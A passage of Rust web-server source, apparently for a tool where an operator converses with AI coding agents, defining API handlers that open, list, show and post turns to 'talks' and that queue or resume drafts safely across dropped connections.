9036            .turns
9037            .iter()
9038            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
9039            .collect();
9040        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
9041            .turns
9042            .iter()
9043            .map(|turn| {
9044                if turn.messages.is_empty() {
9045                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
9046                } else {
9047                    turn.messages
9048                        .iter()
9049                        .map(|message| {
9050                            notice_markdown(
9051                                message.sender.unwrap_or(talk::Sender::Operator),
9052                                &message.body,
9053                                message.display.as_ref(),
9054                            )
9055                        })
9056                        .collect()
9057                }
9058            })
9059            .collect();
9060        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
9061            .pending_messages
9062            .iter()
9063            .map(|message| {
9064                notice_markdown(
9065                    message.sender.unwrap_or(talk::Sender::Operator),
9066                    &message.body,
9067                    message.display.as_ref(),
9068                )
9069            })
9070            .collect();
9071        for nodes in &mut turn_bodies_md {
9072            references.markdown(nodes);
9073        }
9074        for nodes in turn_messages_md
9075            .iter_mut()
9076            .flatten()
9077            .chain(pending_messages_md.iter_mut())
9078            .flatten()
9079        {
9080            references.markdown(nodes);
9081        }
9082        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
9083        let persona_name = persona::find(specs, &talk.persona)
9084            .filter(|p| !p.is_default())
9085            .map(|p| p.name);
9086        let mut avatar_persona = persona::find(specs, &talk.persona)
9087            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
9088        // A removed configured persona may still have an override and old talks.
9089        if avatar_persona.id != talk.persona
9090            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
9091        {
9092            avatar_persona.id.clone_from(&talk.persona);
9093            avatar_persona.icon = None;
9094        }
9095        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
9096        let approvals_store = ask::Questions::at(home.join("questions"));
9097        let merge_approvals = talk
9098            .notified
9099            .iter()
9100            .filter_map(|key| key.strip_prefix("question:"))
9101            .filter_map(|id| approvals_store.get(id).ok())
9102            .filter(|q| crate::task_chat::approval_offered(&talk, q))
9103            .filter_map(|q| {
9104                Some(ChatApproval {
9105                    question: q.id,
9106                    target: q.merge_target?,
9107                })
9108            })
9109            .collect();
9110        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
9111        Self {
9112            turn_bodies_md,
9113            turn_messages_md,
9114            pending_messages_md,
9115            merge_approvals,
9116            thinking,
9117            context,
9118            operator_name,
9119            persona_name,
9120            persona_avatar,
9121            magi_avatar: magi_icon_url(home),
9122            operator_avatar: operator_icon_url(home),
9123            talk,
9124        }
9125    }
9126}
9127
9128/// Parse only the user-facing representation of an explicitly identified MAGI send.
9129fn notice_markdown(
9130    sender: talk::Sender,
9131    body: &str,
9132    display: Option<&crate::prompt::NoticeDisplay>,
9133) -> Option<Vec<md::Node>> {
9134    if sender != talk::Sender::Magi {
9135        return None;
9136    }
9137    let text = if let Some(display) = display {
9138        display.facts.as_str()
9139    } else {
9140        // Unknown completion templates may contain internal directives. Never
9141        // promote their agent input to the Markdown display surface.
9142        if crate::prompt::is_completion_notice(body)
9143            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
9144        {
9145            return None;
9146        }
9147        body.strip_prefix("magi: ").unwrap_or(body)
9148    };
9149    Some(md::to_nodes(text, &md::ImageBase::None))
9150}
9151
9152/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
9153/// conversation has filed, so the phone can follow one from inside the
9154/// conversation that asked for it rather than hunting the Queue for a task id
9155/// it may not remember.
9156#[derive(Debug, Serialize)]
9157struct TalkDetailView {
9158    #[serde(flatten)]
9159    view: TalkView,
9160    tasks: Vec<TaskView>,
9161    task_progress: TalkTaskProgress,
9162    goal_link: Option<TalkGoalLink>,
9163    goal_link_for: Timestamp,
9164    /// The agents this talk's repository can switch to; empty when its
9165    /// configuration cannot be read, which must not fail the whole detail.
9166    roster: Vec<RosterEntry>,
9167    /// The personas the conversation can pick from. The built-ins are always
9168    /// listed, even when the repository's configuration cannot be read.
9169    personas: Vec<PersonaEntry>,
9170}
9171
9172/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
9173#[derive(Debug, Serialize)]
9174struct TalkTaskProgress {
9175    state: &'static str,
9176    total: usize,
9177    done: usize,
9178    counts: std::collections::BTreeMap<&'static str, usize>,
9179    unfinished_ids: Vec<String>,
9180}
9181
9182fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
9183    let mut counts = std::collections::BTreeMap::from([
9184        ("queued", 0),
9185        ("running", 0),
9186        ("done", 0),
9187        ("failed", 0),
9188        ("held", 0),
9189        ("blocked", 0),
9190        ("parked", 0),
9191    ]);
9192    let mut unfinished_ids = Vec::new();
9193    for task in tasks {
9194        *counts.entry(task.status.as_str()).or_default() += 1;
9195        if task.status != TaskStatus::Done {
9196            unfinished_ids.push(task.id.clone());
9197        }
9198    }
9199    TalkTaskProgress {
9200        state: if tasks.is_empty() {
9201            "none"
9202        } else if unfinished_ids.is_empty() {
9203            "complete"
9204        } else {
9205            "incomplete"
9206        },
9207        total: tasks.len(),
9208        done: tasks.len() - unfinished_ids.len(),
9209        counts,
9210        unfinished_ids,
9211    }
9212}
9213
9214/// Prefer a referenced task's current Run or Task, then an explicitly
9215/// referenced same-repository Run. Missing/deleted records leave the goal readable.
9216#[derive(Debug, Serialize)]
9217struct TalkGoalLink {
9218    goal: String,
9219    kind: &'static str,
9220    id: String,
9221}
9222
9223fn talk_goal_link(talk: &Talk, queue: &Queue, runs: &FsPath) -> Option<TalkGoalLink> {
9224    let goal = talk
9225        .selected_goal
9226        .as_ref()
9227        .and_then(|id| talk.goals.iter().find(|goal| &goal.id == id))
9228        .or_else(|| talk.goals.last())?;
9229    for id in goal.tasks.iter().rev() {
9230        if !plain_record_id(id) {
9231            continue;
9232        }
9233        let Ok(task) = queue.get(id) else {
9234            continue;
9235        };
9236        if task.id != *id || task.repo != talk.repo {
9237            continue;
9238        }
9239        // Repository reassignments retain historical runs. Only this task's
9240        // current execution can be presented as the goal's current Run.
9241        if let Some(run) = task.execution_runs().last()
9242            && plain_record_id(run)
9243            && read_run(runs, run).is_ok_and(|state| state.id == *run && state.repo == talk.repo)
9244        {
9245            return Some(TalkGoalLink {
9246                goal: goal.id.clone(),
9247                kind: "run",
9248                id: run.clone(),
9249            });
9250        }
9251        return Some(TalkGoalLink {
9252            goal: goal.id.clone(),
9253            kind: "task",
9254            id: task.id,
9255        });
9256    }
9257    for id in goal.runs.iter().rev() {
9258        if plain_record_id(id)
9259            && read_run(runs, id).is_ok_and(|state| state.id == *id && state.repo == talk.repo)
9260        {
9261            return Some(TalkGoalLink {
9262                goal: goal.id.clone(),
9263                kind: "run",
9264                id: id.clone(),
9265            });
9266        }
9267    }
9268    None
9269}
9270
9271/// One persona as the talk's persona selector shows it.
9272#[derive(Debug, Serialize)]
9273struct PersonaEntry {
9274    id: String,
9275    name: String,
9276    /// Avatar URL, see [`TalkView::persona_avatar`].
9277    avatar: String,
9278}
9279
9280/// One roster agent as the talk's agent selector shows it.
9281#[derive(Debug, Serialize)]
9282struct RosterEntry {
9283    id: String,
9284    kind: AgentKind,
9285    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
9286    runnable: bool,
9287}
9288
9289/// Bounded summaries; `/page` carries a cursor for older membership.
9290async fn talks_list(
9291    State(ui): State<Arc<Ui>>,
9292    Query(q): Query<ListQuery>,
9293    headers: header::HeaderMap,
9294) -> ApiResult<Json<Vec<TalkListView>>> {
9295    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9296        let limit = q.limit.unwrap_or(50).min(50);
9297        let ids = if let Some(ids) = q.ids {
9298            ids.split(',')
9299                .filter(|id| plain_record_id(id))
9300                .take(limit)
9301                .map(str::to_owned)
9302                .collect()
9303        } else {
9304            page_ids(&ui, true, PageQuery::default())?
9305                .0
9306                .into_iter()
9307                .take(limit.min(STORE_PAGE_SIZE))
9308                .collect()
9309        };
9310        Ok(Json(talk_rows(&ui, ids, &headers)))
9311    })
9312    .await
9313}
9314
9315/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
9316/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
9317/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
9318/// end still opens a talk against an older binary.
9319#[derive(Debug, Default, Deserialize)]
9320#[serde(default)]
9321struct NewTalk {
9322    agent: Option<String>,
9323    repo: Option<PathBuf>,
9324    /// Remembered choices from the browser. Soft: kept as raw JSON so a
9325    /// wrong type is dropped like a stale value instead of failing the request;
9326    /// each falls back to its default on its own (see [`talk::begin_with`]).
9327    preferred_agent: Option<serde_json::Value>,
9328    persona: Option<serde_json::Value>,
9329    implementers: Option<serde_json::Value>,
9330}
9331
9332/// `POST /api/talks` - open a conversation. Takes no agent turn: see
9333/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
9334async fn talk_post(
9335    State(ui): State<Arc<Ui>>,
9336    body: std::result::Result<Json<NewTalk>, JsonRejection>,
9337) -> ApiResult<impl IntoResponse> {
9338    // An absent body, or an empty one, is the normal way to open a talk - see
9339    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
9340    // rather than refused.
9341    let body = match body {
9342        Ok(Json(body)) => body,
9343        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
9344        Err(e) => return Err(ApiError::bad_request(e.body_text())),
9345    };
9346    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
9347    let cfg = config_for(&repo).await?;
9348    let view = blocking(move || {
9349        let preferred = talk::Preferred {
9350            agent: body
9351                .preferred_agent
9352                .as_ref()
9353                .and_then(|v| v.as_str())
9354                .map(str::to_owned),
9355            persona: body
9356                .persona
9357                .as_ref()
9358                .and_then(|v| v.as_str())
9359                .map(str::to_owned),
9360            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
9361        };
9362        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
9363        let thinking = ui.is_thinking(&talk.id);
9364        Ok(TalkView::new(talk, thinking, &ui))
9365    })
9366    .await?;
9367    Ok((StatusCode::CREATED, Json(view)))
9368}
9369
9370/// Transcript first: unrelated queue history and repository probes are deferred.
9371async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
9372    // Keep transcript reads independent of sections and the runtime blocking pool.
9373    bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
9374        let id = resolve_talk(&ui.talks, &id)?;
9375        let talk = ui.talks.get(&id)?;
9376        let thinking = ui.is_thinking_observed(&id);
9377        // The browser already resolves Markdown text/code references after
9378        // rendering. A cold reference/review index must not gate the transcript.
9379        Ok(Json(TalkView::with_references(
9380            talk,
9381            thinking,
9382            None,
9383            &ui.home,
9384            &id_links::IdIndex::default(),
9385        )))
9386    })
9387    .await
9388}
9389
9390async fn talk_sections(
9391    State(ui): State<Arc<Ui>>,
9392    Path(id): Path<String>,
9393) -> ApiResult<Json<serde_json::Value>> {
9394    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9395        let id = resolve_talk(&ui.talks, &id)?;
9396        let talk = ui.talks.get(&id)?;
9397        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9398        let task_progress = talk_task_progress(&tasks);
9399        let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9400        let tasks: Vec<_> = tasks
9401            .into_iter()
9402            .map(|task| {
9403                serde_json::json!({
9404                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9405                })
9406            })
9407            .collect();
9408        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9409        let roster: Vec<_> = cfg
9410            .as_ref()
9411            .map(|cfg| {
9412                cfg.agents
9413                    .iter()
9414                    .map(|a| RosterEntry {
9415                        id: a.id.clone(),
9416                        kind: a.kind,
9417                        runnable: agent::installed(a),
9418                    })
9419                    .collect()
9420            })
9421            .unwrap_or_default();
9422        let specs = cfg
9423            .as_ref()
9424            .map(|cfg| cfg.talk.personas.clone())
9425            .unwrap_or_default();
9426        let personas: Vec<_> = persona::catalog(&specs)
9427            .into_iter()
9428            .map(|p| PersonaEntry {
9429                avatar: avatar_url(&ui.home, &talk.id, &p),
9430                id: p.id,
9431                name: p.name,
9432            })
9433            .collect();
9434        let active_persona = persona::find(&specs, &talk.persona)
9435            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9436        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9437        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9438        Ok(Json(serde_json::json!({
9439            "tasks": tasks, "task_progress": task_progress,
9440            "goal_link": goal_link, "goal_link_for": talk.updated_at,
9441            "roster": roster, "personas": personas,
9442            "context": talk::context_usage(&talk, cfg.as_ref()),
9443            "context_for": talk.updated_at,
9444            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
9445            "persona_name": persona_name,
9446            "persona_avatar": persona_avatar,
9447        })))
9448    })
9449    .await
9450}
9451
9452/// `GET /api/talks/{id}`.
9453async fn talk_detail(
9454    State(ui): State<Arc<Ui>>,
9455    Path(id): Path<String>,
9456) -> ApiResult<Json<TalkDetailView>> {
9457    blocking(move || {
9458        let id = resolve_talk(&ui.talks, &id)?;
9459        let talk = ui.talks.get(&id)?;
9460        let thinking = ui.is_thinking_observed(&talk.id);
9461        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9462        let task_progress = talk_task_progress(&tasks);
9463        let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9464        let goal_link_for = talk.updated_at;
9465        let tasks = tasks.into_iter().map(TaskView::from).collect();
9466        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9467        let roster = cfg
9468            .as_ref()
9469            .map(|cfg| {
9470                cfg.agents
9471                    .iter()
9472                    .map(|a| RosterEntry {
9473                        id: a.id.clone(),
9474                        kind: a.kind,
9475                        runnable: agent::installed(a),
9476                    })
9477                    .collect()
9478            })
9479            .unwrap_or_default();
9480        let specs = cfg
9481            .as_ref()
9482            .map(|cfg| cfg.talk.personas.clone())
9483            .unwrap_or_default();
9484        let personas = persona::catalog(&specs)
9485            .into_iter()
9486            .map(|p| PersonaEntry {
9487                avatar: avatar_url(&ui.home, &talk.id, &p),
9488                id: p.id,
9489                name: p.name,
9490            })
9491            .collect();
9492        Ok(Json(TalkDetailView {
9493            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9494            tasks,
9495            task_progress,
9496            goal_link,
9497            goal_link_for,
9498            roster,
9499            personas,
9500        }))
9501    })
9502    .await
9503}
9504
9505/// The body of `POST /api/talks/{id}/say`.
9506///
9507/// `attachments` names ids `POST /api/talks/{id}/attachments` already
9508/// returned - never bytes of its own - so a turn with no images just omits
9509/// the field, which is what an older front end still does.
9510#[derive(Debug, Default, Deserialize)]
9511#[serde(default, deny_unknown_fields)]
9512struct NewTalkTurn {
9513    reply_to: Option<talk::ReplyTarget>,
9514    text: String,
9515    attachments: Vec<String>,
9516}
9517
9518#[derive(Debug, Deserialize)]
9519#[serde(deny_unknown_fields)]
9520struct EditTalkPending {
9521    #[serde(default)]
9522    message: Option<usize>,
9523    text: String,
9524    expected_text: String,
9525    expected_attachments: Vec<String>,
9526}
9527
9528#[derive(Debug, Deserialize)]
9529#[serde(deny_unknown_fields)]
9530struct ClearTalkPending {
9531    expected_text: String,
9532    expected_attachments: Vec<String>,
9533}
9534
9535/// `POST /api/talks/{id}/say` - one turn of the conversation.
9536///
9537/// Not filesystem work, and therefore not routed through [`blocking`]: this
9538/// route spawns an agent CLI and a turn here can run for the whole of
9539/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
9540/// research turn is expected to run commands rather than answer from what it
9541/// already knows. Holding an HTTP connection open that long is not a thing
9542/// to ask a phone to do; the operator's message is recorded and answered for
9543/// immediately, and the reply lands in the background, discovered through
9544/// the change stream's `talks_rev` the same way every other update on this
9545/// surface is.
9546async fn talk_say(
9547    State(ui): State<Arc<Ui>>,
9548    Path(id): Path<String>,
9549    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9550) -> ApiResult<(StatusCode, Json<TalkView>)> {
9551    let admission = ui.begin_admission()?;
9552    admitted(admission, async move {
9553    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9554    if body.text.trim().is_empty() && body.attachments.is_empty() {
9555        return Err(ApiError::bad_request("say something"));
9556    }
9557
9558    let id = {
9559        let ui = Arc::clone(&ui);
9560        let asked = id.clone();
9561        blocking(move || resolve_talk(&ui.talks, &asked)).await?
9562    };
9563    // A closed Talk never accepts a new immediate or queued turn. Check this
9564    // before claiming a slot so its ordinary domain refusal is a 409, not an
9565    // incidental failure from the later record/queue write.
9566    {
9567        let ui = Arc::clone(&ui);
9568        let id = id.clone();
9569        blocking(move || {
9570            let talk = ui.talks.get(&id)?;
9571            if !talk.status.open() {
9572                return Err(ApiError::conflict(format!(
9573                    "talk {} is {} and takes no more turns",
9574                    talk.short(),
9575                    talk.status.as_str()
9576                )));
9577            }
9578            Ok(())
9579        })
9580        .await?;
9581    }
9582
9583    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
9584    // actually stores, before anything is written - an unknown id is a 4xx
9585    // that names it rather than a turn (or a queued draft) silently missing
9586    // an image.
9587    let attachments = {
9588        let ui = Arc::clone(&ui);
9589        let id = id.clone();
9590        let ids = body.attachments.clone();
9591        blocking(move || {
9592            ids.into_iter()
9593                .map(|att_id| {
9594                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9595                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9596                    })
9597                })
9598                .collect::<ApiResult<Vec<talk::Attachment>>>()
9599        })
9600        .await?
9601    };
9602    let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9603        .await.map_err(ApiError::from)?;
9604
9605    // Pending recovery and a new immediate turn are decided under the same
9606    // claim lock. Without that one critical section, a second `/say` can see
9607    // the first request's claim as "busy" and append itself to the recovered
9608    // draft before the first request rejects it.
9609    let start = {
9610        let ui = Arc::clone(&ui);
9611        let id = id.clone();
9612        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9613    };
9614    let turn_guard = match start {
9615        TalkTurnStart::Claimed(turn_guard) => turn_guard,
9616        TalkTurnStart::Pending => {
9617            return Err(ApiError::conflict(
9618                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9619            ));
9620        }
9621        TalkTurnStart::Foreign => {
9622            return Err(ApiError::conflict(
9623                "a turn is already running in another process; try again when it has finished",
9624            ));
9625        }
9626        TalkTurnStart::Busy => {
9627            // A turn is already running: queue rather than refuse. See
9628            // `Ui::begin_talk_turn` and `talk::queue`.
9629            //
9630            // The queue write and the drain it may owe live inside the task
9631            // `tokio::spawn` hands to the runtime, for the same reason the
9632            // immediate path below puts `record` there: a dropped handler
9633            // future must not be able to land between a durable write and
9634            // the task that answers it. `blocking` runs its closure on
9635            // `spawn_blocking`, which finishes whether or not anyone is left
9636            // to receive its result - so a disconnect at the `.await` below
9637            // would otherwise leave the draft persisted and the reclaimed
9638            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
9639            // ever started and the queued text stranded until some later
9640            // `say` happened to pick it up. The caller's 202 travels back
9641            // over a `oneshot`, sent the moment the write lands.
9642            let (tx, rx) = tokio::sync::oneshot::channel();
9643            tokio::spawn({
9644                let ui = Arc::clone(&ui);
9645                let id = id.clone();
9646                let said = body.text.clone();
9647                let reply_to = body.reply_to.clone();
9648                async move {
9649                    let written = blocking({
9650                        let ui = Arc::clone(&ui);
9651                        let id = id.clone();
9652                        move || {
9653                            let mut talk = ui.talks.get(&id)?;
9654                            // A test-only stop point, right before the write
9655                            // an interleaving test needs to pin - see
9656                            // `BusyQueueGate`. `None` in every real server:
9657                            // the field only exists under `#[cfg(test)]`.
9658                            #[cfg(test)]
9659                            if let Some(gate) = ui
9660                                .busy_queue_gate
9661                                .lock()
9662                                .unwrap_or_else(PoisonError::into_inner)
9663                                .take()
9664                            {
9665                                let _ = gate.reached.send(());
9666                                let _ = gate.release.recv();
9667                            }
9668                            if let Err(error) = talk::queue_reply(
9669                                &mut talk,
9670                                &ui.talks,
9671                                &said,
9672                                attachments,
9673                                reply_to,
9674                            ) {
9675                                if let Ok(fresh) = ui.talks.get(&id) {
9676                                    if !fresh.status.open() {
9677                                        return Err(ApiError::conflict(format!(
9678                                            "talk {} is {} and takes no more turns",
9679                                            fresh.short(),
9680                                            fresh.status.as_str()
9681                                        )));
9682                                    }
9683                                }
9684                                return Err(
9685                                    if error.to_string().contains("invalid reply target") {
9686                                        ApiError::bad_request("invalid reply target")
9687                                    } else {
9688                                        ApiError::from(error)
9689                                    },
9690                                );
9691                            }
9692                            // The turn that looked busy a moment ago can have
9693                            // finished, found nothing to drain and given up the
9694                            // slot in the gap between that check and this write
9695                            // landing - see `drain_loop`'s own doc for the other
9696                            // half of why that gap would otherwise be able to
9697                            // open at all. Reclaiming the slot here, rather than
9698                            // trusting that whoever held it is still watching, is
9699                            // what stops the text just queued from being stranded
9700                            // until an unrelated future `say` happens to drain
9701                            // it.
9702                            let claim = match ui.begin_queued_talk_turn(&id)? {
9703                                Some(turn_guard) => {
9704                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
9705                                    Some((talk.clone(), cfg, turn_guard))
9706                                }
9707                                None => None,
9708                            };
9709                            let thinking = ui.is_thinking(&id);
9710                            Ok((TalkView::new(talk, thinking, &ui), claim))
9711                        }
9712                    })
9713                    .await;
9714                    #[cfg(not(test))]
9715                    {
9716                        match written {
9717                            Ok((view, reclaimed)) => {
9718                                let launched = crate::chat_worker::spawn_turn(&ui.talks, &id).await;
9719                                drop(reclaimed);
9720                                match launched {
9721                                    Ok(_) => { let _ = tx.send(Ok(view)); }
9722                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9723                                }
9724                            }
9725                            Err(error) => { let _ = tx.send(Err(error)); }
9726                        }
9727                    }
9728                    #[cfg(test)]
9729                    {
9730                    let (view, reclaimed) = match written {
9731                        Ok(pair) => pair,
9732                        Err(e) => {
9733                            // Nobody is listening if the handler's own future
9734                            // was already dropped - that is fine, nothing was
9735                            // persisted and there is no response left to carry
9736                            // this error to.
9737                            let _ = tx.send(Err(e));
9738                            return;
9739                        }
9740                    };
9741                    // If this fails, the caller is gone; the drain below still
9742                    // runs exactly as it would have for a caller that stayed.
9743                    let _ = tx.send(Ok(view));
9744                    if let Some((talk, cfg, turn_guard)) = reclaimed {
9745                        let talks = ui.talks.clone();
9746                        drain_loop(talk, talks, cfg, id, turn_guard).await;
9747                    }
9748                    }
9749                }
9750            });
9751            let view = rx
9752                .await
9753                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9754            return Ok((StatusCode::ACCEPTED, Json(view)));
9755        }
9756    };
9757
9758    let (talk, cfg) = {
9759        let ui = Arc::clone(&ui);
9760        let id = id.clone();
9761        blocking(move || {
9762            let talk = ui.talks.get(&id)?;
9763            let (cfg, _) = Config::discover(&talk.repo, None)?;
9764            Ok((talk, cfg))
9765        })
9766        .await?
9767    };
9768
9769    let talks = ui.talks.clone();
9770    // `record` runs *inside* the spawned task, rather than in this handler
9771    // followed by a separate `tokio::spawn` for `respond` - axum drops this
9772    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
9773    // doc), and that drop can land at any `.await` this function makes,
9774    // including one that has already produced its result but not yet
9775    // resumed. A message could end up recorded on disk with the handler
9776    // future gone before it ever reached the `tokio::spawn` that would have
9777    // started the reply. `tokio::spawn` itself is a plain, synchronous call
9778    // that hands the whole future to the runtime as one unit - once made, no
9779    // later drop of *this* handler's own future (that call's return value is
9780    // never held onto here) can reach back in and stop it, so record and the
9781    // hand-off to `respond` are unconditionally atomic from the client's
9782    // point of view. The immediate response this handler owes the caller
9783    // travels back over a `oneshot`, sent the moment `record` succeeds.
9784    let (tx, rx) = tokio::sync::oneshot::channel();
9785    tokio::spawn({
9786        #[cfg(test)]
9787        let ui = Arc::clone(&ui);
9788        let talks = talks.clone();
9789        let id = id.clone();
9790        let said = body.text.clone();
9791        let reply_to = body.reply_to.clone();
9792        let mut talk = talk.clone();
9793        async move {
9794            let recorded = blocking({
9795                let talks = talks.clone();
9796                move || {
9797                    if let Err(error) =
9798                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9799                    {
9800                        if let Ok(fresh) = talks.get(&talk.id) {
9801                            if !fresh.status.open() {
9802                                return Err(ApiError::conflict(format!(
9803                                    "talk {} is {} and takes no more turns",
9804                                    fresh.short(),
9805                                    fresh.status.as_str()
9806                                )));
9807                            }
9808                        }
9809                        return Err(if error.to_string().contains("invalid reply target") {
9810                            ApiError::bad_request("invalid reply target")
9811                        } else {
9812                            ApiError::from(error)
9813                        });
9814                    }
9815                    // `record` mutates `talk` in place to the freshly persisted
9816                    // state (status, pending, and the just-appended operator
9817                    // turn), so returning it here is equivalent to re-reading it
9818                    // from disk - without the extra round trip a re-read would
9819                    // need.
9820                    Ok((said.trim().to_owned(), talk))
9821                }
9822            })
9823            .await;
9824            let (text, talk) = match recorded {
9825                Ok(pair) => pair,
9826                Err(e) => {
9827                    // Nobody is listening if the handler's own future was
9828                    // already dropped - that is fine, there is no response
9829                    // left to carry this error to and nothing was persisted.
9830                    let _ = tx.send(Err(e));
9831                    return;
9832                }
9833            };
9834            #[cfg(not(test))]
9835            {
9836                let _ = (&cfg, &text);
9837                // The reservation becomes durable while this process still
9838                // holds the talk lease. The child waits for that lease; the
9839                // new UI sees its startup reservation immediately.
9840                let result = crate::chat_worker::spawn_recorded_turn(
9841                    &talks, &id, talk.turns.len() - 1,
9842                ).await;
9843                drop(turn_guard);
9844                match result {
9845                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9846                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9847                }
9848            }
9849            #[cfg(test)]
9850            {
9851            let queued = talk.clone();
9852            let mut talk = talk;
9853            let thinking = ui.is_thinking(&id);
9854            // If this fails, the caller is gone; the turn still runs below
9855            // exactly as it would have for a caller that stayed connected.
9856            let _ = tx.send(Ok((queued, thinking)));
9857
9858            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9859                // `respond` records the failure in the transcript itself,
9860                // which is what the phone reads; this line is for the
9861                // operator's terminal.
9862                tracing::warn!("talk {id} turn failed: {e:#}");
9863            }
9864            // Anything `talk::queue` added while the turn above was running
9865            // is still owed an answer - see `drain_loop`.
9866            drain_loop(talk, talks, cfg, id, turn_guard).await;
9867            }
9868        }
9869    });
9870
9871    let (queued, thinking) = rx
9872        .await
9873        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9874
9875    // 202: the operator's message is recorded and a turn is running.
9876    Ok((
9877        StatusCode::ACCEPTED,
9878        Json(TalkView::new(queued, thinking, &ui)),
9879    ))
9880    }).await
9881}
9882
9883/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
9884/// changing it. The turn guard is the same per-talk ownership `talk_say`
9885/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
9886async fn talk_pending_resume(
9887    State(ui): State<Arc<Ui>>,
9888    Path(id): Path<String>,
9889) -> ApiResult<(StatusCode, Json<TalkView>)> {
9890    let admission = ui.begin_admission()?;
9891    admitted(admission, async move {
9892        let id = {
9893            let ui = Arc::clone(&ui);
9894            let asked = id.clone();
9895            blocking(move || resolve_talk(&ui.talks, &asked)).await?
9896        };
9897        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9898            .await
9899            .map_err(ApiError::from)?;
9900        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9901            return Err(ApiError::conflict(
9902                "a talk turn is already running; the queued draft will be handled by it",
9903            ));
9904        };
9905        let (talk, cfg) = {
9906            let ui = Arc::clone(&ui);
9907            let id = id.clone();
9908            blocking(move || {
9909                let talk = ui.talks.get(&id)?;
9910                if !talk.status.open() {
9911                    return Err(ApiError::conflict(format!(
9912                        "talk {} is {} and takes no more turns",
9913                        talk.short(),
9914                        talk.status.as_str()
9915                    )));
9916                }
9917                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9918                    return Err(ApiError::conflict("there is no queued draft to resume"));
9919                }
9920                let (cfg, _) = Config::discover(&talk.repo, None)?;
9921                Ok((talk, cfg))
9922            })
9923            .await?
9924        };
9925        let view = TalkView::new(talk.clone(), true, &ui);
9926        let talks = ui.talks.clone();
9927        #[cfg(not(test))]
9928        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9929        #[cfg(test)]
9930        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9931        Ok((StatusCode::ACCEPTED, Json(view)))
9932    })
9933    .await
9934}
9935
9936/// Hand off an admitted draft while retaining the talk lease until its
9937/// detached startup reservation is durable.
9938#[cfg(not(test))]
9939async fn detach_talk_turn(
9940    _talk: Talk,
9941    talks: Talks,
9942    _cfg: Config,
9943    id: String,
9944    turn: TalkTurnGuard,
9945) -> ApiResult<()> {
9946    let launched = crate::chat_worker::spawn_turn(&talks, &id).await;
9947    drop(turn);
9948    launched.map(|_| ()).map_err(ApiError::from)
9949}
9950
9951#[cfg(test)]
9952async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9953    drain_loop_started(talk, talks, cfg, id, turn, None).await;
9954}
9955
9956/// A settings response must not report idle while its claim is still held.
9957/// Wait until the first drain either releases the claim or promotes a draft.
9958/// The task owns the guard even if the HTTP handler is cancelled while waiting.
9959async fn settle_settings_turn(
9960    talk: Talk,
9961    talks: Talks,
